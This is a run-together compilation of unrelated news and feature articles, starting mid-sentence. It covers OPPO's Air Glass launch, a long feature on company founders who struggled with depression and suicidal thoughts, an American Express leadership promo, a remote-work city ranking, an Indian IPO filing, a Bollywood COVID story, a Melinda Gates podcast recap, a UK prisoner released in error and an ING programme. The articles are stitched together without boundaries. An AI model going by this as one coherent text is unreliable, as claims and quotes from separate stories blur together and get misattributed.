wings of the cicada, giving it its lightweight and minimalist appearance. It provides practical functions such as navigation, health data monitoring, teleprompter, and live speech-to-text translation without the burden of a large and heavy device. OPPO Air Glass is equipped with a self-developed compact projection system the Spark Micro Projector and a bespoke optical diffraction waveguide, delivering a vivid and sharp aR display in all types of environments. The device can be operated using OPPO smartphones and smartwatches. It also supports different intuitive interactions such as touch, voice, and motion controls, enabling users to obtain the information quickly and conveniently. OPPOs groundbreaking aR (assisted Reality) device OPPO Air Glass Discover OPPOs Latest Technological Breakthroughs and Artwork from Emerging Artists in the Virtual INNO WORLD This year, OPPO has created an all-new virtual playground, OPPO INNO WORLD, to celebrate INNO DAY 2021 together with OPPO fans worldwide. Within INNO WORLD, visitors can watch the keynote speeches and experience OPPOs other new cutting-edge technologies, including its Digital Human, Retractable Camera, and many more. The OPPO Renovators Emerging Artists Project has also made its way into INNO WORLD, showcasing innovative artwork from young artists around the globe. Now in its third year, OPPO Renovators seeks to support young artists in bringing together the latest ideas and concepts from the world of art and technology as they imagine the possibilities for the future. In the Renovators Showroom in INNO WORLD, eight works from young artists are being exhibited, including AutoGene, Autonomy of Plant, Light High, Revival, and others, creating a platform for these artists to reach a global audience. For more details about the OPPO INNO DAY 2021, visit OPPOs official website at www.oppo.com/ph or via its official Facebook page at OPPO Philippines. BY 2016, Melissa Bernstein had built a multimillion-dollar company catering to the nostalgia of a generation of upscale parents who coveted and ponied up good money for designer old-school toys for their progeny. Over the course of three decades, she and her husband, Doug, had turned their Wilton, Connecticut-based business, Melissa & Doug, into a $550 million empire, the Tiffany of toys. A sunny, ebullient mother of six, she embodied the mythology of the woman who had it all. Except it was all a lie. Not the commercial success--that was most definitely not a lie. But the facade, her image as the Martha Stewart of playthings, was a meticulously constructed gingham suit of armor, meant to deflect any gaze into how Melissa Bernstein really felt inside: scared, paranoid, and unable to forge meaningful human connections, damaged, depressed, isolated, and alone. "It's exhausting," Bernstein says today, recalling sleepwalking through much of her life and career. "I understand now the reason most folks don't crash until midlife. Because in our teens and 20s, we shoulder it, right? We can bear the facade. We can pretend we're someone we're not, and we get through it. But as I started to get older, I started to hear--it was literally like a drumbeat: 'You aren't being true to yourself.' " Bernstein had spent her life honing the art of being perfect, and perfect is a full-time job. She was proud to tell people she'd never missed a day of work, even while birthing six kids. Every day, it was up at 6, four different trips getting the kids to various schools, off to the office, a full day of work and calls and emails, home to make dinner, more kid duty, more work, and then a collapse into bed at midnight. She wore her stoicism as a badge of honor, would breezily tell a team member who was getting upset, "It's just toys," even as inside she questioned herself constantly, scolding herself that "you cannot afford to be less than perfect." She led by faux example. "She's got a twinkle in her eye, and she makes magic happen," says Christine Osborne, a recently retired operator of upscale toy stores in South Carolina and a longtime Melissa & Doug customer. "You would never know she suffered from depression. She hid it very, very well. I have a psych background and didn't pick up on it." As Bernstein says: "I believed in being this robotic superwoman who could do it all." Deep down, she was terrified. Of showing weakness. Of being found out. Of succumbing to the sadness that coated her insides like varnish. She felt the lie beginning to crack. "It's the voice of our soul that really is telling us who we are," she says, "and crying to be seen authentically. I had denied that voice my entire life, because anytime I tried to show who I truly was--which was an introverted, heady, repressed, very deep, intense creative--people looked at me like I was weird, and I didn't want to be weird. I wanted to be popular and affable and have throngs of people attracted to me. So I knew that I would never be accepted as I truly was. My whole life was this gap between who I was and who I was trying to be." 64% of senior business leaders have suffered from mental health conditions, including anxiety, stress, and depression, according to research by international health insurer Bupa Global. But it wasn't the voice of her soul that she was listening to. Another, far darker voice had her ear. The one that spoke to her when she was alone, looking up at the ceiling in bed late at night, or standing in the shower, or lingering in the foyer of her house after her kids had left for school. End your life now, it said. It's all futile. THEY ARE THE rock stars of the business world--the moguls, entrepreneurs, startup whiz kids, celebrities with social media platforms bursting with eager followers who swashbuckle into the marketplace and declare, "I am going to bring the Next Big Thing." The image of the brash founder and CEO "thinking outside of the box" and "taking no prisoners" harks back to a certain Silicon Valley archetype. In public, in interviews on CNBC, and in profiles in glossy magazines, they telegraph a breezy but steely confidence that says to the general public--and, more important, to potential investors--"I've got it all figured out." Think back to when Mark Zuckerberg first arrived on the scene. Or Jack Dorsey. Or Elizabeth Holmes or Elon Musk. As time has often proved, rarely is what we think we see what really exists. To the world, he was CEO of a sexy tech company; in reality, he had devolved into a feckless people-pleaser, directionless, lost, and horribly depressed about it all. Never is this truer than in the intersection of mental health and corporate founders--entrepreneurs conditioned to forge ahead with a belief, virtue-signaled by a uniquely American ethos, that showing weakness or vulnerability is death to the dream. Customers and shareholders want powerful, decisive, confident leaders, full stop. So it is that generations of business leaders have hidden within themselves, projecting an image of John D. Rockefeller grit while simultaneously pushing down waves of doubt, depression, and anxiety roiling within. 25% of chief executives aged 50 or younger experience higher-than-average levels of depression and anxiety, according to a study by Valerie J. Sutherland, professor of organizational psychology at the University of Manchester. "Faking is very, very tough on people. I mean, it's physically tough," says Acacia Parks, chief science officer at Happify, the popular personal growth app--and herself someone who lives with bipolar disorder. "The whole time you're faking it, it requires extra physical strain on the body. And it's distracting. If you are working and being creative, you're so busy being fake it's extremely draining, and both physically and mentally deleterious." HE KNEW SOMETHING was off. Way off. He wasn't sleeping. He had constant back pain. His marriage was fraying--his wife had recently declared, "I can't hear about your work. When you come home, we don't talk about it. We're done." He found that he was increasingly negative, short-tempered, indecisive. He took the blame for anything and everything, mistakenly believing this would show him to be a humane, empathetic leader, when all it did was convince his team that he was in way over his head. He was hiring and firing the wrong people; as his leadership waffled, morale plummeted. To the world, he was the founder and CEO of a sexy tech company; in reality, he had devolved into a feckless people-pleaser, directionless and lost, and, secretly, horribly depressed about it all. At night, he began zoning out to children's cartoons. He was, Rand Fishkin says today, "running up the down escalator." It certainly hadn't started that way. Fishkin had been your standard-issue tech wunderkind, laying the groundwork for his web marketing company, Moz, as a young man in his family house outside of Seattle. Your typical '90s American middle-class geek, he dropped out of the University of Washington two classes shy of a degree and was working at a men's clothier when he began designing websites for clients of his mom's boutique marketing consultancy. Eventually, he was building sites full time, and blogging about it. He recruited a friend; they began developing software. VC interest followed. In 2004, Moz was born. But, unlike the more high-profile poster boys of the aughts' pullulating tech orbit, swaggering their way through conferences and cable television appearances in their T-shirts and hoodies, as the years passed Fishkin found himself struggling with the burden of leading a company, and internalized it. "I didn't have the strength of will and competence and confidence in myself, or my leadership abilities, to make the difficult calls that one should make to recognize when things weren't going well," he says today. "How they should be changed, and managed." Depression quickly set in for Fishkin, which only made things worse. How can you be the CEO and allow that kind of weakness to show? "Rand is a luminous person," says his wife, the noted travel writer Geraldine DeRuiter. "He has this vibrancy about him, this kind of sparkling joy. It dims when he is depressed. He becomes withdrawn, and blames himself for everything that goes wrong." After a while, it was clear something had to happen. And so, in 2014, Fishkin stepped down as CEO, advocating for his COO to take over, which she did. (He cheekily took the emeritus-like title Wizard of Moz.) He felt that removing himself from the day-to-day strife of responsibility and decision-making would cure his illness. Instead, he watched helplessly as the company he'd built foundered, as the darkness inside engulfed him. "I struggled even more," he says, "with that same anxiety and depression and frustration." 45% of entrepreneurs report feeling stressed, according to a Gallup survey. As the next few years passed, Fishkin watched, in his new emeritus role, depressed and powerless, as the decision-making was, in his view, "taking us further off the rails." Moz's growth rate, which had been 50 percent annually when he stepped down, plunged to 20 percent, then to 10, and then to below 5. There were layoffs, and little innovation in product or engineering. Sitting and stewing at yet another endless meeting at which he had no decision-making power, Fishkin says he pulled out his phone and texted the CTO, Anthony Skinner, now sitting directly across the board table from him. WHAT DID I DO? Fishkin texted Skinner, now ruing his decision to step down at all. YEAH, MAN, came Skinner's reply. YOU FUCKED UP BIG TIME. Rand Fishkin excused himself, walked into the men's room, and threw up. THE STAKES ARE HIGH and the impacts broad. Consider the following list: Ilya Zhitomirskiy, co-founder of Facebook competitor Diaspora; Don Cornelius, founder and creator of Soul Train; Aaron Swartz, co-founder of Reddit; Jody Sherman, co-founder of Ecomom; Matt Berman, founder of Bolt Barbers; Austen Heinz, founder and CEO of Cambrian Genomics; Faigy Mayer, CEO of Appton; fashion designer Kate Spade. All were fabulously successful entrepreneurs. All battled mental illness and depression. All of them took their own lives within the past decade. Recent studies put the number of entrepreneurs with some form of mental health issue at 49 percent. Almost a third report experiencing depression. "Founders have a higher disposition to depressive episodes," says Lisa Andresen, a San Francisco-based therapist who has studied entrepreneurial depression extensively. Part of this, she says, is the mere fact of who they are--the ones dealing with a company's highest pain points, the revenue shortfalls, the pressure from investors for more aggressive returns--which in turn boomerangs into their personal lives and results in higher rates of divorce and social isolation. Andresen says narcissistic parents who have fostered perfectionism are also common among founders: "You grow up being the family trophy. You earn love by achieving. And you have a balance sheet of millions of dollars, and your parents are still giving you shit. So you're never happy." 30% of entrepreneurs report experiencing depression, according to a study by Michael Freeman, clinical professor of psychiatry at UC San Francisco. A midlevel executive dealing with depression may be able to cover their illness. But the titular head of a company has nowhere to hide. Eventually, the depression wins as its standard effects--low energy, difficulty focusing, unproductivity, indecisiveness, and unresponsiveness--begin to leak out. "Of course it's noticed," Andresen says. "Employees personalize it. They think their boss hates them, or they're about to be fired. So it can create paranoia." The boss has become a time bomb sitting in plain sight, ticking away in the corner office. JELANI MEMORY WAS the kid in high school so many of us wished we were. Smart. Good-looking. Insanely popular. When he walked down the corridor it was as if the sea was parting. Being one of the few minority students in a predominantly white high school might have made him feel like an outsider. Instead, his magnetism made him the friend everyone wanted to have. He lettered in multiple sports, was the special guest star at every party. All of us can look back at high school and instantly name the kid we wished we'd been, the one who seemed to glide through the whole thing effortlessly, without awkwardness, self-doubt, acne, or empty weekends. For those who went to school at Woodrow Wilson High in Portland, Oregon, with Jelani Memory, he was that kid. And yet it was then, during that very period--years before he founded A Kids Company About, a nimble publishing startup dedicated to gently but frankly telling children the exact sorts of things he desperately wished someone had told him--that Jelani Memory realized he wasn't actually that kid at all. He wanted to sleep all the time. He spent the nights tossing and turning, the days sluggish and foggy. He adopted a wan veneer of winsome conviviality that allowed anyone to see what they wanted, the Big Man on Campus, while behind it he was running on empty. "To say it was impeding my life is an understatement," Memory says. "Feeling sad all the time, feeling unfulfilled, unsatisfied, when I knew that things in the external parts of my life should be things that are fulfilling, that are wonderful, that should make me happy, that should offer me validation. And yet still feeling incredibly lost and alone." And hiding it from everybody. "Most of it he paved over, for sure," says Sean Tittle, an architectural designer and one of Jelani's closest friends since the age of 6. "You love this person next to you, but you can help only if they reach out. It's hard when you're holding those secrets inside and projecting that happy face." 46% of Canadian business owners report their mental health problems interfere with their ability to work, according to a study by the Canadian Mental Health Association. Some epiphanies come as thunderbolts, jolting us out of our stupor and opening a path in a new direction. For young Jelani, it was more a case of clouds slowly parting. All of these things, I should be happy, I should like life, I should be enjoying this, he thought. But I'm not. And so, at the age of 17, he looked at himself in the mirror and made a decision that would change his life. "This isn't working," he told himself. "I've got to find another answer." AS TOLSTOY MIGHT have written, all unhappy founders are unhappy in their own way. But if Bernstein, Fishkin, and Memory share one thing in common, it's the path each took out of their respective journeys, all built on three simple actions: admitting they needed help, getting it, and refusing to lie about any of it anymore. Soon after throwing up in the men's room, Fishkin left Moz. "That was a fucking lonely, bad day," he says. "It was this company where I built all of my everything. It was me and my mom, and we started this thing and now ... to feel like your company is, not being taken from me, but that I messed up and handed it off foolishly, and then lost the power to control its destiny. I felt like I let a lot of people down." To pick them back up, he had no choice--he first had to lift up himself. In 2018, Fishkin started SparkToro, which he calls "an influencer and audience intelligence" marketing company. He penned a memoir, Lost and Founder: A Painfully Honest Field Guide to the Startup World, and after sharing his struggles with depression and anxiety, hundreds of people wrote him, thanking him for his honesty, for advice he'd given, for past kindnesses he couldn't even recall extending. For being human. "I would be at my desk just crying in the middle of the day," he says, "because these stories were incredible." Bernstein's savior came via a tome written more than 70 years earlier. A Holocaust survivor, Viktor E. Frankl, had published Man's Search for Meaning in 1946; the book is now considered part of the 20th-century canon about the meaning of life. Frankl's painful exploration of the unique existential despair experienced by highly creative people pulled Bernstein back from the brink by giving her a name for what she was experiencing. "I started to say, 'Wait a second, all these qualities that I have been trying to expunge and kill my whole life,' " she says, " 'are actually my meaning. They're the reason I'm here.' " For years, the voice in her head had told her, "Nothing you do will ever matter. You will always be alone. No one will ever understand you or truly accept you." Now, walking with her husband, Doug, on the beach near their vacation home in the Bahamas, she turned to him and said, "I'm not alone." His reaction helped jump-start her recovery. "OK, I don't hear the bad part about this," he said. "This is not something you have to hide, or have shame about." The head of a company has nowhere to hide. Eventually the depression wins. The boss has become a time bomb, ticking away in the corner office. She got a therapist and began to self-identify as an existential nihilist, leading her on a path where she read Kierkegaard, Sartre, and "literally every piece of existential philosophy, ever," she says. And, most important, she got real with everyone--her kids, her business partners, her employees. She persuaded personal development guru Jonathan Fields to have her on as a guest on his popular podcast, Good Life Project. "I knew it was really risky, because I create the lightest and brightest thing, and I'm about to tell people that I suffer from the darkest form of despair. Are people going to be like, 'I can't give this to my child--this woman wanted to end her life'? I definitely felt that," Bernstein says. "But there comes a point when you have a greater purpose." That purpose now includes a new venture called LifeLines, a lifestyle website and book that share her journey and lessons for happiness and self-acceptance. The reaction to her disclosure was, in her words, "shockingly, incredibly good." As Fishkin experienced, letters and emails poured in. She is now surrounded by people with whom she shares deep connections. "The very thing I thought would prevent me from having these close relationships," she says, "was the thing I needed to develop them." As for Memory, he found his recovery young, in college. There he majored in Bible and theology and found a path to wellness through faith and an unflinching look at episodes of his own childhood trauma, which he says included neglect and violence among his siblings. It was time to heal. "I would later learn how to actually cry," he says. "That started even a further journey of being able to really feel safe and secure diving into some of this, the scariest part of my internal life, going, 'Gosh, I've actually been sad for a long time.' " It also started his career path, which poured gasoline into his recovery by sending him on a mission to help other kids whose depression might be going undiagnosed or ignored. Inspired by the work of Fred Rogers and LeVar Burton, in 2018 Memory founded a company to build storytelling for children, producing books around life's most difficult topics: A Kids Book About Racism, A Kids Book About Anxiety, A Kids Book About Suicide .... "Jelani's very candid and honest about how he's doing and his experiences, which is great because it makes me feel like he's more human," says Kenya Feldes, the studio manager at A Kids Company About and someone who has also battled depression. "I'm not the only one who may be going through it." 49% of entrepreneurs report having had a personal mental health history, according to Freeman's study. "I walked around with this thing I didn't even know how to describe, and I never, ever talked about," Memory says. "I think that most grownups believe that children are mostly innocent and mostly happy. With enough video games, school, and sugar, they'll be OK, right? Just keep them away from 'the bad stuff.' I think the reality is a lot more complicated. Many kids are struggling just to navigate everyday life. So for me, it's that ability to look at every kid and go, 'There's something underneath that they wish somebody knew about, that they wish they could talk to somebody about.' I think my experience dealing with depression at a very young age is the ability to recognize and honor that." THERE IS, TO be sure, a generational shift afoot around mental health in the workplace, specifically around transparency of leadership. Millennials and Generation Z now make up roughly half of the U.S. workforce, and by every measure of surveys and research it is clear they expect a different kind of leader, one who leads by example and exhibits strong mental health. A CEO can no longer tell workers the company values "balance" as it pours on work to be completed on nights and weekends, zinging endless Slack messages throughout. "I think the acceptance now of the vulnerable, the honest, the not-all-knowing CEO, who's patient, who's humble ... it marks a sea change." "They aren't just interested in some general wellness plan or 'well-being,' " Happify's Parks says of today's talent pool. "They've been through this pandemic, they're vulnerable, and over 50 percent suffer from depression. They're not messing around about their mental health. One of the overwhelming narratives among these folks is that they need to see their leaders actually taking care of themselves, confidently modeling being human. That's new." It also suggests a new path for founders who are coping with depression. Casey Henry is co-founder and CTO of SparkToro, Fishkin's new company. He's worked for several startups, including Moz, and knows well the pressure that can come, as he says, "when you're a company that wants vigorous growth, and you have VC backing, and investors who want a return. We've all worked those 60-hour weeks." His boss has an answer for that: Just don't do it in the first place. To launch SparkToro, Fishkin has eschewed VC funding for angel investors who are more patient, more nurturing, and less focused on short-term returns. Finally feeling mentally healthy and whole, he is leaving the VC world behind. "I don't want to get on that roller coaster again," he says. "It's not for me." There is reason to believe that he's not alone. "Investors are people too," says Andresen, who suggests that capital is increasingly placing a premium on emotional intelligence when looking for leaders. "They've had their own mental health experiences, and see it in their own families. They develop relationships with their founders, and the relationships transcend the business transaction. There's movement there." And, perhaps, a reason for optimism. "I think the acceptance now of the vulnerable, the honest, the not-all-knowing CEO, the CEO who's patient, who's humble, who's thoughtful, who doesn't have the answer to every question, who isn't 'take-no-prisoners' or the person who will destroy you in the boardroom, I think really marks a sea change," Memory says. "These kinds of leaders have always existed. But they've never truly been as valued as they can be." The workforce has evolved tremendously since the onset of the pandemic, and the pace of change isn't showing signs of slowing down. Leaders are constantly in the position of having to reevaluate strategies and rethink decisions on the fly. With the new year right around the corner, now is a great time to take a moment to pause and reflect on your leadership style and your goals. This is especially true for new entrepreneurs who are just charting their course--how are you going to define your leadership style? American Express's new video series Business Class: The Series spotlights candid, real-world business lessons from well-known entrepreneurs, taking viewers on a journey across the world and spanning industries--from fashion to fitness, design, and more--in episodes that cover topics such as marketing, leadership, and finance. These entrepreneurs have not only risen to the top of their fields but have led their teams through major changes over the past two years. Here are some highlights from those conversations to help small-business owners thrive in 2022. Embrace Innovation When asked for the best advice for leaders going into 2022, the CEO and founder of ClassPass, Payal Kadakia, emphasizes the importance of innovation and adaptability. She predicts that the accelerated rate of innovation that's been spurred on by the pandemic across nearly every industry will continue and says that forward-thinking leaders will need to be ready to "think bigger, adapt, and change as the world around us continues to transform." Value the Small Wins In the thick of this challenging business environment, potter and designer Jonathan Adler advises that leaders remember to value the small wins: "It's a fraught time. Businesses and leaders are facing challenges that no one could have ever imagined. It may not be bold, but my advice is to forget sweeping change and instead focus on incremental successes. My career isn't so much about a big break or singular great idea as it is about making a series of decent decisions--and some indecent decisions, too!--over the course of the past 28 years." Build Connection Through Empathy Meanwhile, founder and designer Rebecca Minkoff suggests investing time exploring the needs of employees to set them up for success--especially amid periods of fluctuations like the one we're experiencing now. She emphasizes empathy, vulnerability, and "truly leaning more into what employees need to thrive" as ways to create connection and a compelling people-first culture that takes into account the whole human experience, above and beyond the workplace. Recognizing that your employees are living through turbulent times and helping them avoid burnout is a crucial part of this empathetic approach. "People are losing steam and burning out in ways we've never seen before," explains Suneel Gupta, the host of Business Class: The Series, author of the best-selling book Backable, founder of health care upstart RISE, and a Harvard University visiting scholar. "In 2022, leadership won't be defined by your ability to manage talent, but by your capacity to build people's energy. This goes beyond a loose vacation policy. Being a steward of energy means tuning into where your people are emotionally, and skillfully knowing when to push the limits versus creating space for replenishment." People want to work for empathetic leaders, and the presence or absence of those qualities can play a large role in employee loyalty. We're living through the "Great Resignation," with a widespread talent shortage, which makes practicing a human-first approach more important than ever for leaders who wish to develop strong and long-lasting relationships with their employees. Jonathan Adler echoed this sentiment noting, "In 2022, as in 1992 when I was forming my company, the key is to be nice to your employees and they'll be nice to you. My team is a family of outsiders, and I see them as people first and employees second." But before leading others, entrepreneurs must first learn to lead themselves, counsels Payal--and that includes gaining a strong sense of self-awareness and identifying the "why" of your business, which will allow you to be unwavering in your commitment toward your goals. In the September 2021 update of its Monthly Employment Trends report, Gallup wrote that 26 percent of U.S. white collar employees are still working exclusively from home, a number that remains unchanged from one year ago. The persistence of remote work has many rethinking not just how they work but where they live, too, with more and more workers deciding that if they can work from anywhere, then somewhere else might be better than where they are. According to Upwork, somewhere between 14 million and 23 million Americans are planning to move as a result of remote work. That's consistent with in-house research from United Van Lines, which found a 32 percent year-over-year increase in moving interest nationally. Given the heightened attention that's being paid both to the rise in remote work and the related relocation phenomenon, the folks at online learning platform Preply took a look at the conditions for remote work in the 74 most populated cities across the globe. This week, it released the results of its study. What it found might surprise you. To determine ratings for each city, Preply used its self-named "Workation Index." Workation is a portmanteau word resulting from the combination of work and vacation. The Workation Index is, accordingly, based on objective analysis across three dimensions: Quality of Life, Climate and Environment, and Costs and Safety. The higher the index rating, the more suitable the conditions are for remote work. Preply found that Brisbane, Australia, has the best conditions for virtual work. The city boasts an average annual temperature of a perfect 72 degrees Fahrenheit, high scores for cost of living and access to health care, and picturesque life on the banks of the Brisbane River. The only city in North America to land in Preply's top 10: Ottawa, Canada, which scored very well in the Quality of Life dimension while mirroring Brisbane in cost of living measurements. Phoenix was the top-scoring U.S. city, coming in 33rd on the Workation Index, aided by its 72 degree year-round temperature. Among other top U.S. cities, New York ranked 72nd -- third from the bottom, plagued mostly by safety concerns and an extraordinarily high cost of living. Chicago ranked a nearby 69th, with Washington, D.C., and Los Angeles finishing at 67th and 58th, respectively. Finishing 74th and dead last was Jakarta, Indonesia, which, coincidentally scored 0 on the index. The Top 10 cities for remote work according to the Preply Workation Index are: Brisbane, Australia Lisbon, Portugal Nicosia, Cyprus Taipei, Taiwan Ljubljana, Slovenia Helsinki, Finland Vienna, Austria Auckland, New Zealand Ottawa, Canada Reykjavik, Iceland Send to Email Address Your Name Your Email Address Post was not sent - check your email addresses! Email check failed, please try again Sorry, your blog cannot share posts by email. Bengaluru-based Maini Precision Products Limited (MPPL), an end-to-end solution provider engaged in process design, engineering, manufacturing, testing, and supply of a variety of precision products with close tolerances of upto 3 microns and assemblies, has filed preliminary papers with capital market regulator Sebi to raise funds through an initial share-sale.As per market sources, it is understood that the company will raise anywhere between Rs800-900cr via initial public offering.The initial public offering (IPO) with a face value of Rs2 per equity share consists of a fresh issue of equity shares aggregating to Rs150cr, and an offer for sale of up to 2,54,81,705 equity shares, according to the draft red herring prospectus (DRHP).As a part of the OFS, promoters will offload 60,20,765 equity shares, individual shareholders to sell up to 6,45,865 equity shares, up to 5,13,390 by other selling shareholders and 1,83,01,685 equity shares by investor shareholders.Proceeds from the fresh issue will be used to repay/prepay Rs112.5cr of its borrowings and will be used for general corporate purposes.Promoted by Sandeep Kumar Maini, Gautam Maini and Chetan Kumar Maini, the company was incorporated in 1973. Maini is capable of diverse and critical manufacturing and finishing processes, including machined castings, die castings, machined forgings, bar route machining, plate machining, surface treatment, heat treatment, critical assembly, as well as ancillary activities such as end of line testing, export packing and warehousing, which encompasses end-to-end solutions for its customers both domestic and global.MPPL has a diversified business, wherein the products are classified into two business, being aerospace, which it ventured into in 2004 and comprises precision products manufactured for aerospace and defence; and automotive and industrial, which comprises precision products manufactured for clean internal combustion engines, fuel injections and transmissions (internal combustion engines, fuel injections and transmissions collectively referred to as Clean Powertrain), hydraulics and industrial, agriculture and legacy automotive.Its new generation products include hybrid electric shaft motors, low pressure turbine nozzle guide vanes for the LEAP Engine, Landing and Braking System Parts for aircrafts, BLDC Motors, E-Axles and Transmission Systems for Electric 2/3 Wheelers & LCVsSome of the customers in the aerospace business include companies such as Safran Aircraft Engines, Marshall Aerospace and Defense Group, Eaton Aero, ITP Externals SLU, Parker Aerospace, and Woodward Inc., and in the automotive and industrial business include, Bosch Limited, Eaton Vehicle Group, Danfoss, Marelli Powertrain India Private Limited, Volvo Group India Private Limited, Cummins India Limited and BorgWarner Cooling Systems India Private Limited.Being an export oriented business primarily exporting to United States of America, France, Sweden, Italy, Slovakia, England, Japan, Spain, Poland and Germany, its revenue from operations stood at Rs 560.30 crs for FY19, Rs 570 crs for FY20 and Rs 427.36 crs for FY21, 65.26%, 71.99%, 66.23% of its revenues being attributed to exports.Automotive components are expected to remain the largest contributor of the precision parts market over FY21-25 at ~60% with the rest of the market catering to non-automotive sectors like aerospace, defence and allied, engineering and capital goods and power. Precision engineering is expected to log a 9-11% CAGR between fiscals 2021-2026, aided by growth in the domestic auto components and export demand and indigenous manufacturing for the defence segmentICICI Securities Limited, IIFL Securities Limited are the book running lead managers to the issue. While Kareena Kapoor's official spokesperson has said that she contracted coronavirus during an "intimate dinner where a few friends had gathered to catch up," Brihanmumbai Municipal Corporation (BMC) has a different story to tell. It says she can be a 'super-spreader' as she "had violated COVID norms and attended several parties" in the recent past. Actors Kareena Kapoor Khan & Amrita Arora tested positive for #COVID19. Both of them had violated COVID norms & attended several parties. BMC has ordered people, who came in contact with the two actors, to undergo RT-PCR test: BMC (Brihanmumbai Municipal Corporation) (File pic) pic.twitter.com/wKqoqgFM4x ANI (@ANI) December 13, 2021 If reports are to be believed, Kareena Kapoor, Amrita Arora, Seema Khan (Sohail Khan's wife) and Maheep Kapoor (Sanjay Kapoor's wife) have tested positive for Covid-19 after they attended Karan Johar's party on Dec 8. While Karan Johar has tested negative, BMC is reportedly testing people in his building. #UPDATE | The residence of Kareena Kapoor Khan has been sealed. She has not given proper information yet but our officers are trying to find out that how many people did come in contact with her: BMC (Brihanmumbai Municipal Corporation) pic.twitter.com/2xlgOHz0YT ANI (@ANI) December 13, 2021 Forty people have been tested so far including 10 people who are KJo's staff members. Now, as per a report on India Today, the BMC will organise testing camps in Kareena and Amrita's buildings too along with sanitising the compounds. Apart from this, everyone who has come in contact with Maheep and Sanjay Kapoor is being traced too. Sanjay Kapoors Juhu building have been declared a containment zone. Instagram Seema Khan's son Yohan and sister have also tested Covid-19 positive. Her floor has been sealed while everyone else in the building have been tested too. BMC in a statement said Kareena "has not given proper information yet but our officers are trying to find out how many people did come in contact with." (For more news and updates from the world of celebrities from Bollywood and Hollywood, keep reading Indiatimes Entertainment, and let us know your thoughts on this story in the comments below.) If you are successful, it is because somewhere, sometime, someone gave you a life or an idea that started you in the right direction. - Melinda French Gates Consistently ranked as one of the worlds most powerful women, Melinda French Gates is an American philanthropist, former computer scientist and general manager at Microsoft. She runs the worlds wealthiest charitable foundation and is a pioneer of global health, gender equality, education, among other causes. Quite naturally, shes a role model for people across the world. I was overjoyed when I came across Guy Razs talk with Melinda Gates on his Luminary podcast Wisdom From The Top. Its packed with insights from her personal and professional life. Luminary Here are some of my favourite moments from the podcast- In High School, I Managed The Drill Team In senior year, she was the captain of the schools drill team. This meant getting all the girls on a bus on friday night to be driven across Texas, making sure they showed up with their boots on and pompoms ready - Melinda was a leader from the get-go. Shed take a stand for the girls who couldnt make it, had fool-proof backup strategies and had a successful stint at managing such a huge team. If you can manage 150 high school girls, I think you can manage almost anything, she said. Sometimes Youre Just Put In The Right Place At The Right Time After her graduation, Melinda had a standing offer from IBM. She also wanted to apply to Microsoft, which was a small, upcoming company then. When the hiring manager at IBM called her up, she opened up about interviewing at Microsoft and keeping that option open as well. The hiring managers response stunned her. She said, If you get a job offer there (Microsoft) you should take it. She spoke about how IBM would be a fabulous place for Melinda, but at a company like Microsoft thats growing so fast, Melindas growth would be meteoric. We couldnt agree more with the HR at IBM! After 1.5 Years Of joining Microsoft, Melinda Considered Leaving The Job Melinda speaks about the rash work culture at Microsoft - how she used to work 12 hour shifts, employees used to fight tooth and nail to defend their point, among other things. She discussed how she didnt like herself anymore, shed become short with people and overtly curt too. Even her best friend from high school tried to guide. Life is about more than just smart people, she said. That was a wake-up call for Melinda. She decided to be herself at work, without worrying about peoples judgement. She became kinder and had her employees back. In no time, she was managing bigger teams and attracting talent from across the company. I Absolutely Did Not Discuss Microsoft Issues With Bill On A Date Or At Home Or Wherever We Would Be While theyd told the office staff that theyre dating, she would never discuss Microsoft issues with Bill anywhere outside of work. The biggest proof was - when theyd go into meetings, Bill would be as surprised as anyone else in the room to hear her inputs and suggestions. Melinda believed that having these boundaries was the only way teams could work for her & she could be candid with them. In addition to this, Melinda also discusses her charitable ventures in great detail. In the course of the podcast, she talks about the Gates Learning Foundation, her big mission global health, malaria vaccines, and how their foundation is helping relieve the pain and suffering of today. This 50-minute podcast on Luminary is full of life lessons, inspiration and hope. So if youre the kind who likes an insightful yet uplifting podcast, this ones for you. Click here to hear Melinda Gates get candid on Guy Razs Wisdom From The Top. To explore the complete list of podcasts on Luminary, click here. A man in the UK sentenced to four years in jail for blackmail was accidentally freed just two days into his sentence before he was dragged back. Lauras Matiusovas was given a four-year prison sentence by Wood Green Crown Court, North London in November, but was released after only 48 hours. He was let out and given full freedom on 26 November, The Sun reported. It was reported that the early release was a result of errors in court paperwork. The Sun The prison officer told the stunned inmate he was free to go and escorted him from his cell. Bewildered by what had transpired, he then called a friend to ask him for a lift home. In a clip taken on their way home, Matiusovas' can be seen celebrating early 'release' while his friends are heard yelling, Fresh home!" as he laughs along. He even contacted probation, who told him everything seemed to be in order and to make sure he went to the next appointment. Its mad he could have jumped on a flight and left the UK. Instead, he chilled with us and had a great time," his friend told The Sun. He added: "Imagine if it was someone in for violence or a sex offender - its a real scandal. However, Matiusovas' freedom was short-lived. Police were notified and Matiusovas was sent back to prison on December 6. Representational Image/Unsplash A Ministry of Justice (MoJ) spokesperson told LADbible: Releases in error are incredibly rare but we take them extremely seriously. This prisoner is already back behind bars. The MoJ said it is investigating the circumstances of his release. Earlier in September, an inmate at a county jail in Missouri, USA, escaped after identifying as a fellow inmate. Ellen Renay Goble, 24, allegedly pretended to be another detainee and slipped out of the Randolph County jail in Columbus, Missouri, ABC 17 reported. ABC17 Goble was being held on multiple charges, including resisting arrest, burglary, drug possession, and operating a vehicle without a valid license. The jail was unaware of her escape until other inmates told the staff that she was pretending to be someone else. The confusion began when Goble was moved to a different cell so that hers could be cleaned. According to sheriff Aaron Wilson, the woman meant to be released was called in, but Goble showed up in her place. She was aware of the other inmates personal details and signed her name during the time of the "accidental release." For more interesting trending stories, click here. Eric Garcetti, the nominee for U.S. ambassador to India, speaks at the Senate Foreign Relations Committee hearing on his nomination on Dec. 14, 2021. "The bedrock of our partnership are the human ties that connect our nations, embodied by the four million-strong Indian American diaspora, he said. (SFRC photo via IANS) When Maria Elena from Northern Italy lost the bookstore job she had for 26 years because of the coronavirus pandemic, she realised she needed to get some digital training. Thanks to ING, she got it. INGs new community support is all about supporting people like Maria Elena and millions of others. After losing my job as a bookseller, I found myself in need of updating on the use of technology and social media, Maria Elena said. She got the help she needed from Job Digital Lab, an ING-supported programme that provides training to the most fragile segments of the population in Italy. Thanks to Job Digital Lab I learned for example how to use social networks for job-searching. I had never considered it, but it turned out to be really useful. Job Digital Lab is just one of the programmes that ING supports as part of our sharpened community investment approach. We are now focusing closer to home as the coronavirus pandemic brings long-lasting social and economic challenges to our customers as well as their family, friends and communities. The new approach (launched in June) centres around helping local communities in three areas related to financial health: future-proof employment (for instance: developing skills and finding jobs, helping people like Maria 